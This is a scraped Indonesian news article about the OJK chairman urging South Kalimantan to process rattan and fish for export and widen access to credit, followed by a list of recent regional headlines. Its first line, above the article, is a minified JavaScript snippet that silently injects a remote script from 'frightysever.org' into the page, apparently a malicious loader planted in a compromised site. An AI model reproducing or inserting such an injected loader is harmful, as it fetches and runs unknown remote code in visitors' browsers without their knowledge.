(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Ketua Dewan Komisioner OJK: Sumberdaya di Kalsel Belum Maksimal Diolah


BANJARMASIN, Ada dua prioritas yang harus dilakukan jika Kalsel ingin ada terobosan baru untuk memberi lapangan kerja kepada masyarakat Kalsel, meningkatkan pendapatan masyarakat, dan juga mengurangi pengangguran. Sehingga jika prioritas ini dilakukan, produk domestik bruto pun naik, ungkap Ketua Dewan Komisioner OJK, Prof Wimboh Santoso ketika ditemui di Mahligai Pancasila, Jum’at (1/10).

Potensi besar yang bisa digarap adalah produk pertanian terutama rotan dan ikan. Selama ini rotan dan ikan bisa diproses menjadi banyak hal yang dapat diekspor. Dua hal ini merupakan satu rangkaian yang cocok diolah, terutama bagi wilayah Kalsel terang Wimboh.

Ia juga menekankan bahwa masyarakat jangan takut ihwal pembiayan dan investasi. Untuk UMKM ada KUR dan untuk investasi, ia rasa perbankan sangat siap karena perbankan saat ini punya potensi yang besar.

“Pasaran (ekspor) luar biasa. Mau produk rotan dan ikan yang sudah diolah itu potensinya besar untuk kita ekspor. Tujuan ekspor sudah ada. Sekarang bagaimana dibuat satu ekositem. Jadi produksi ada, distribusi ada. Apalagi Kalimantan punya sungai yang cukup bagus untuk transportasi,” tutur Wimboh.

Sehingga dengan begitu masyarakat Kalsel yang mengolah produk tidak kebingungan harus ke mana menjual produk hasil olahan mereka.

Proritas kedua yang harus diperhatikan adalah bagaimana masyarakat Kalsel bisa mengakses keuangan. Untuk anak muda, dapat fokus menabung dan menjadi nasabah bank. Untuk masyarakat kecil mikro, melakukan kredit. Wimboh mengatakan bahwa OJK akan menyiapkan skema kredit ini. Ditambahnya dengan ada pembinaan, hal ini akan jadi upaya yang akan bersinergi otomatis.

Dua prioritas inilah yang menurut Wimboh menjadi tugas bagi Kepala Regional OJK Regional 9 Kalimantan Riza Aulia Ibrahim yang baru saja dilantik di Mahligai Pancasila, Banjarmasin, Jum’at (1/11).

Untuk kredit OJK, Kalsel masih rendah dibanding nasional. Kredit OJK di Kalsel masih mencapai angka 6 hingga 7 persen. Sedangkan nasional berada di angka 9 persen. Pertumbuhan ekonomi di Kalsel pun juga rendah. Sehingga masih banyak yang harus dikejar oleh Kalsel.

Selama ini Kalsel masih terkendala dengan belum diolahnya sumber daya yang ada. Wimboh menekankan agar Kalsel tak hanya mengandalkan sumberdaya batubara saja. Meski menjadi primadona, namun penjualan batubara saat ini mempunyai banyak kompetitor. Selain batubara merupakan bahan dapat habis, harganya pun saat ini masih fluktuatif. (mario)

Reporter : Mario
Editor : Bie


Desy Arfianty

Recent Posts

Calon Haji Tertua Kabupaten Banjar Berusia 86 Tahun, Bupati Banjar Lepas Keberangkatan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More

38 menit ago

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

2 jam ago

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

4 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

6 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

6 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

8 jam ago

This website uses cookies.